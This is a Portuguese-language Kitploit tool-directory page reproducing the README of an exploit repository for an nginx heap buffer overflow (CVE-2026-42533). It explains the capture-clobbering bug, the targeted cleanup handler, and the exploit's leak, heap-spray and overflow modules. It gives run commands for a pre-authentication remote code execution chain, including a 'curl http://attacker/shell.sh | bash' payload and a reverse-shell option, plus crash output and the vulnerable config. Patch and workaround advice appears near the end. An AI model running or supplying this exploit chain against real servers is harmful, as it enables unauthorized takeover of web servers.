Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42533 — Exploit para estouro de buffer no heap do nginx (CVE-2026-42533) que fornece RCE pré-autenticação via two-pass capture clobbering. Inclui módulos de vazamento de informações, heap spray e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/imbas007/cve-2026-42533
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesDesenvolvimento de PayloadsExploração de Binários
GitHubimbas007/cve-2026-42533

CVE-2026-42533

Exploit para estouro de buffer no heap do nginx (CVE-2026-42533) que fornece RCE pré-autenticação via two-pass capture clobbering. Inclui módulos de vazamento de informações, heap spray e reverse shell.

Ver Repositório
329há 24 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42533 — Exploit PoC de Estouro de Buffer no Heap no nginx

Execução Remota de Código sem Autenticação via Sobrescrita de Capturas em Duas Passagens

PoC público lançado em 2026-07-27 — Não espere, aplique o patch agora.

CVECVE-2026-42533
CVSS 4.09.2 (Crítico)
TipoEstouro de Buffer no Heap (CWE-122)
Afetadosnginx 0.9.6 – 1.30.3 (stable), 0.9.6 – 1.31.2 (mainline)
Corrigidonginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
Divulgado2026-07-15 (F5 / NGINX)
PoC Lançado2026-07-27
PesquisadorStan Shaw (0xCyberstan)

Funcionamento Confirmado

PlataformaDiagnósticoEstouroFalhaVazamento de Info
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ Parcial

Visão Geral

CVE-2026-42533 é um estouro de buffer no heap crítico no mecanismo de avaliação de strings em duas passagens do nginx. Quando uma diretiva map baseada em regex interage com grupos de captura numerados ($1, $2, etc.), a estrutura compartilhada r->captures é silenciosamente sobrescrita entre as passagens LEN (medição) e VALUE (gravação). Isso causa uma incompatibilidade de tamanho:

  • Captura maior → estouro de buffer no heap (gravação fora dos limites controlada pelo atacante)
  • Captura menor → vazamento de informação (memória de heap não inicializada exposta, vazando ponteiros de libc/heap)

Encadeadas, essas duas primitivas permitem RCE confiável sem autenticação, derrotando o ASLR — demonstrada com 10/10 de confiabilidade no Ubuntu 24.04.

Como Funciona

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

O overflow corrompe estruturas adjacentes no heap. O alvo principal é ngx_pool_cleanup_t:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

Quando o pool de conexões é destruído, handler(data) é chamado → execução arbitrária de código.

Estrutura do Repositório

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│   ├── leak.py          # Info leak module (heap/libc pointer leak)
│   ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│   ├── analyze.py       # GDB analysis helper for offset determination
│   └── requirements.txt # Python dependencies
├── nginx/
│   └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile            # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose for easy deployment
└── README.md

Início Rápido

Pré-requisitos

  • Python 3.8+ com requests
  • Alvo: nginx 0.9.6–1.30.3/1.31.2 com configuração vulnerável (veja abaixo)

1. Verificar a Vulnerabilidade (Seguro)

root@kitploit:~
# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose

Saída:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. PoC de Crash (Prova de Explorabilidade)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Resultado no Ubuntu 24.04:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. Configurar Ambiente de Teste

root@kitploit:~
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (Alternativa)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

Uso

Cadeia de Exploit Completa

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Examples:
python3 exploit/exploit.py 192.168.1.100                    # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py 192.168.1.100 --crash            # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

Módulo de Vazamento de Informação

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

Módulo de Overflow

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # crash worker (PoC)
python3 exploit/overflow.py <target> --spray     # heap spray only

Padrões de Configuração Vulneráveis

O exploit requer este padrão específico na configuração do nginx:

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

Detecte configurações vulneráveis usando o scanner público:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

Prova de Crash (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

Mitigação

Imediata (Patch)

root@kitploit:~
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

Mitigação Temporária (Workaround)

Substitua capturas numeradas por capturas nomeadas nas diretivas map:

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

Detecção

  • Execute o scanner de configuração: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • Monitore reinícios inesperados dos workers do nginx
  • Verifique a versão do nginx: nginx -v (deve ser ≥ 1.30.4 ou ≥ 1.31.3)

Referências

  • Aviso de Segurança da F5
  • Artigo Técnico de 0xCyberstan
  • Scanner de Configuração CVE-2026-42533

Aviso Legal

Este PoC é divulgado para fins de pesquisa em segurança e defesa. Use apenas contra sistemas que você possui ou para os quais tenha autorização explícita de teste. A vulnerabilidade já foi corrigida — atualize imediatamente se ainda não o fez.

Baixar ferramenta